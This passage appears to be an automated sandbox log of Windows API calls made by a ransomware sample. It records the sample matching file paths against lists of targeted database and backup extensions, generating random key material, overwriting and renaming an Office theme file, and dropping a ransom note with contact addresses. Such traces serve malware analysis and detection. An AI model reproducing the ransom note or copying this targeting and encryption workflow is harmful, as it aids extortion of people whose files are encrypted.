	[0084.414] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG", lpSrch=".DBV") returned 0x0
	[0084.414] lstrlenW (lpString=".dacpac") returned 7
	[0084.414] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG", lpSrch=".dacpac") returned 0x0
	[0084.414] lstrlenW (lpString=".sdf") returned 4
	[0084.414] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG", lpSrch=".sdf") returned 0x0
	[0084.414] lstrlenW (lpString=".accdb") returned 6
	[0084.414] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG", lpSrch=".accdb") returned 0x0
	[0084.414] lstrlenW (lpString=".DBX") returned 4
	[0084.414] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG", lpSrch=".DBX") returned 0x0
	[0084.414] lstrlenW (lpString=".MDT") returned 4
	[0084.414] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG", lpSrch=".MDT") returned 0x0
	[0084.414] lstrlenW (lpString=".SQB") returned 4
	[0084.414] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG", lpSrch=".SQB") returned 0x0
	[0084.414] lstrlenW (lpString=".vhd") returned 4
	[0084.414] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG", lpSrch=".vhd") returned 0x0
	[0084.414] lstrlenW (lpString=".bac") returned 4
	[0084.414] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG", lpSrch=".bac") returned 0x0
	[0084.414] lstrlenW (lpString=".mdf") returned 4
	[0084.414] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG", lpSrch=".mdf") returned 0x0
	[0084.414] lstrlenW (lpString=".BAK") returned 4
	[0084.414] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG", lpSrch=".BAK") returned 0x0
	[0084.414] lstrlenW (lpString=".BAC") returned 4
	[0084.414] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG", lpSrch=".BAC") returned 0x0
	[0084.414] lstrlenW (lpString=".dbs") returned 4
	[0084.414] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG", lpSrch=".dbs") returned 0x0
	[0084.414] lstrlenW (lpString=".vhdx") returned 5
	[0084.414] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG", lpSrch=".vhdx") returned 0x0
	[0084.414] lstrlenW (lpString=".NDF") returned 4
	[0084.414] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG", lpSrch=".NDF") returned 0x0
	[0084.415] lstrlenW (lpString=".dat") returned 4
	[0084.415] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG", lpSrch=".dat") returned 0x0
	[0084.415] lstrlenW (lpString=".DBS") returned 4
	[0084.415] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG", lpSrch=".DBS") returned 0x0
	[0084.415] lstrlenW (lpString=".CKP") returned 4
	[0084.415] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG", lpSrch=".CKP") returned 0x0
	[0084.415] lstrlenW (lpString=".edb") returned 4
	[0084.415] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG", lpSrch=".edb") returned 0x0
	[0084.415] lstrlenW (lpString=".PST") returned 4
	[0084.415] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG", lpSrch=".PST") returned 0x0
	[0084.415] lstrlenW (lpString=".dbf") returned 4
	[0084.415] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG", lpSrch=".dbf") returned 0x0
	[0084.415] lstrlenW (lpString=".SQL") returned 4
	[0084.415] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG", lpSrch=".SQL") returned 0x0
	[0084.415] lstrlenW (lpString=".pst") returned 4
	[0084.415] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG", lpSrch=".pst") returned 0x0
	[0084.415] lstrlenW (lpString=".dbv") returned 4
	[0084.415] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG", lpSrch=".dbv") returned 0x0
	[0084.415] lstrlenW (lpString=".SDF") returned 4
	[0084.415] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG", lpSrch=".SDF") returned 0x0
	[0084.415] lstrlenW (lpString=".dtxs") returned 5
	[0084.415] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG", lpSrch=".dtxs") returned 0x0
	[0084.415] lstrlenW (lpString=".db3") returned 4
	[0084.415] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG", lpSrch=".db3") returned 0x0
	[0084.415] lstrlenW (lpString=".OST") returned 4
	[0084.415] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG", lpSrch=".OST") returned 0x0
	[0084.415] lstrlenW (lpString=".dbx") returned 4
	[0084.415] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG", lpSrch=".dbx") returned 0x0
	[0084.415] lstrlenW (lpString=".DB3") returned 4
	[0084.415] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG", lpSrch=".DB3") returned 0x0
	[0084.415] lstrlenW (lpString=".DAT") returned 4
	[0084.416] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG", lpSrch=".DAT") returned 0x0
	[0084.416] lstrlenW (lpString=".VHDX") returned 5
	[0084.416] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG", lpSrch=".VHDX") returned 0x0
	[0084.416] lstrlenW (lpString=".ndf") returned 4
	[0084.416] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG", lpSrch=".ndf") returned 0x0
	[0084.416] lstrlenW (lpString=".DB") returned 3
	[0084.416] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG", lpSrch=".DB") returned 0x0
	[0084.416] lstrlenW (lpString=".sql") returned 4
	[0084.416] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG", lpSrch=".sql") returned 0x0
	[0084.416] lstrlenW (lpString=".MYD") returned 4
	[0084.416] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG", lpSrch=".MYD") returned 0x0
	[0084.416] lstrlenW (lpString=".DBT") returned 4
	[0084.416] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG", lpSrch=".DBT") returned 0x0
	[0084.416] lstrlenW (lpString=".ACCDB") returned 6
	[0084.416] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG", lpSrch=".ACCDB") returned 0x0
	[0084.416] lstrlenW (lpString=".fdb") returned 4
	[0084.416] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG", lpSrch=".fdb") returned 0x0
	[0084.416] lstrlenW (lpString=".bak") returned 4
	[0084.416] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG", lpSrch=".bak") returned 0x0
	[0084.416] lstrlenW (lpString=".myd") returned 4
	[0084.416] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG", lpSrch=".myd") returned 0x0
	[0084.416] lstrlenW (lpString=".DTXS") returned 5
	[0084.416] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG", lpSrch=".DTXS") returned 0x0
	[0084.416] lstrlenW (lpString=".ckp") returned 4
	[0084.416] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG", lpSrch=".ckp") returned 0x0
	[0084.416] lstrlenW (lpString=".dbt") returned 4
	[0084.416] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG", lpSrch=".dbt") returned 0x0
	[0084.416] lstrlenW (lpString=".db") returned 3
	[0084.416] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG", lpSrch=".db") returned 0x0
	[0084.416] lstrlenW (lpString=".TXT") returned 4
	[0084.416] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG", lpSrch=".TXT") returned 0x0
	[0084.416] lstrlenW (lpString=".MDF") returned 4
	[0084.416] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG", lpSrch=".MDF") returned 0x0
	[0084.416] lstrlenW (lpString=".bdb") returned 4
	[0084.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG", lpSrch=".bdb") returned 0x0
	[0084.417] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0084.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0084.417] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0084.417] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0084.417] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0084.418] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0084.418] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0084.418] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0084.418] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0084.418] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2871ff0
	[0084.418] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20440786623) returned 1
	[0084.418] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9c258a50, dwHighDateTime=0x1d60e1e)) 
	[0084.418] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0084.418] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0084.418] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0084.418] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a96c0
	[0084.418] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0084.418] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a96c0 | out: hHeap=0x300000) returned 1
	[0084.418] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0084.418] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0084.418] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2808330
	[0084.418] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0084.418] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.418] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808330 | out: hHeap=0x300000) returned 1
	[0084.418] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0084.418] GetLastError () returned 0x0
	[0084.419] GetLastError () returned 0x0
	[0084.419] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0084.419] GetLastError () returned 0x0
	[0084.419] GetLastError () returned 0x0
	[0084.421] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xffff12cc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0084.421] WriteFile (in: hFile=0x118, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0xed34, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x25dfec0*=0xed34, lpOverlapped=0x0) returned 1
	[0084.421] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0084.421] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.421] WriteFile (in: hFile=0x118, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0084.422] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0084.422] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0084.422] CloseHandle (hObject=0x118) returned 1
	[0084.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3b89e0
	[0084.422] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png.~~~~")) returned 1
	[0084.422] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b89e0 | out: hHeap=0x300000) returned 1
	[0084.423] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0084.423] GetLastError () returned 0x0
	[0084.423] RtlWakeConditionVariable () returned 0x365f70
	[0084.423] GetCurrentThreadId () returned 0x9f4
	[0084.423] GetCurrentThreadId () returned 0x9f4
	[0084.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f72d0
	[0084.423] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b8c08 | out: hHeap=0x300000) returned 1
	[0084.423] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9688 | out: hHeap=0x300000) returned 1
	[0084.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3b8c08
	[0084.423] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0084.423] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0084.423] WriteFile (in: hFile=0x118, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x25dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x25dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0084.425] CloseHandle (hObject=0x118) returned 1
	[0084.425] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b8c08 | out: hHeap=0x300000) returned 1
	[0084.425] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f72d0 | out: hHeap=0x300000) returned 1
	[0084.425] RtlWakeConditionVariable () returned 0x365f70
	[0084.425] GetCurrentThreadId () returned 0x9f4
	[0084.425] GetCurrentThreadId () returned 0x9f4
	[0084.425] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.425] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8b50 | out: hHeap=0x300000) returned 1
	[0084.425] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39dce8 | out: hHeap=0x300000) returned 1
	[0084.425] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8b50
	[0084.425] lstrlenW (lpString=".scr") returned 4
	[0084.425] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM", lpSrch=".scr") returned 0x0
	[0084.425] lstrlenW (lpString=".cmd") returned 4
	[0084.425] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM", lpSrch=".cmd") returned 0x0
	[0084.425] lstrlenW (lpString=".dll") returned 4
	[0084.425] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM", lpSrch=".dll") returned 0x0
	[0084.425] lstrlenW (lpString=".bat") returned 4
	[0084.426] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM", lpSrch=".bat") returned 0x0
	[0084.426] lstrlenW (lpString=".cpl") returned 4
	[0084.426] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM", lpSrch=".cpl") returned 0x0
	[0084.426] lstrlenW (lpString=".sys") returned 4
	[0084.426] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM", lpSrch=".sys") returned 0x0
	[0084.426] lstrlenW (lpString=".msc") returned 4
	[0084.426] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM", lpSrch=".msc") returned 0x0
	[0084.426] lstrlenW (lpString=".com") returned 4
	[0084.426] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM", lpSrch=".com") returned 0x0
	[0084.426] lstrlenW (lpString=".lnk") returned 4
	[0084.426] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM", lpSrch=".lnk") returned 0x0
	[0084.426] lstrlenW (lpString=".msp") returned 4
	[0084.426] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM", lpSrch=".msp") returned 0x0
	[0084.426] lstrlenW (lpString=".pif") returned 4
	[0084.426] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM", lpSrch=".pif") returned 0x0
	[0084.426] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0084.426] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM", lpSrch="msp\r\n.pif") returned 0x0
	[0084.426] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0084.427] lstrlenW (lpString=".sqb") returned 4
	[0084.427] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM", lpSrch=".sqb") returned 0x0
	[0084.427] lstrlenW (lpString=".ost") returned 4
	[0084.427] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM", lpSrch=".ost") returned 0x0
	[0084.427] lstrlenW (lpString=".txt") returned 4
	[0084.428] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM", lpSrch=".txt") returned 0x0
	[0084.428] lstrlenW (lpString=".mdt") returned 4
	[0084.428] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM", lpSrch=".mdt") returned 0x0
	[0084.428] lstrlenW (lpString=".BDB") returned 4
	[0084.428] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM", lpSrch=".BDB") returned 0x0
	[0084.428] lstrlenW (lpString=".eql") returned 4
	[0084.428] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM", lpSrch=".eql") returned 0x0
	[0084.428] lstrlenW (lpString=".DBF") returned 4
	[0084.428] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM", lpSrch=".DBF") returned 0x0
	[0084.428] lstrlenW (lpString=".EQL") returned 4
	[0084.428] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM", lpSrch=".EQL") returned 0x0
	[0084.428] lstrlenW (lpString=".FDB") returned 4
	[0084.428] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM", lpSrch=".FDB") returned 0x0
	[0084.428] lstrlenW (lpString=".EDB") returned 4
	[0084.428] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM", lpSrch=".EDB") returned 0x0
	[0084.428] lstrlenW (lpString=".DACPAC") returned 7
	[0084.428] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM", lpSrch=".DACPAC") returned 0x0
	[0084.428] lstrlenW (lpString=".VHD") returned 4
	[0084.428] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM", lpSrch=".VHD") returned 0x0
	[0084.428] lstrlenW (lpString=".DBV") returned 4
	[0084.428] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM", lpSrch=".DBV") returned 0x0
	[0084.428] lstrlenW (lpString=".dacpac") returned 7
	[0084.428] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM", lpSrch=".dacpac") returned 0x0
	[0084.428] lstrlenW (lpString=".sdf") returned 4
	[0084.428] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM", lpSrch=".sdf") returned 0x0
	[0084.428] lstrlenW (lpString=".accdb") returned 6
	[0084.428] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM", lpSrch=".accdb") returned 0x0
	[0084.428] lstrlenW (lpString=".DBX") returned 4
	[0084.428] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM", lpSrch=".DBX") returned 0x0
	[0084.429] lstrlenW (lpString=".MDT") returned 4
	[0084.429] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM", lpSrch=".MDT") returned 0x0
	[0084.429] lstrlenW (lpString=".SQB") returned 4
	[0084.429] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM", lpSrch=".SQB") returned 0x0
	[0084.429] lstrlenW (lpString=".vhd") returned 4
	[0084.429] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM", lpSrch=".vhd") returned 0x0
	[0084.429] lstrlenW (lpString=".bac") returned 4
	[0084.429] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM", lpSrch=".bac") returned 0x0
	[0084.429] lstrlenW (lpString=".mdf") returned 4
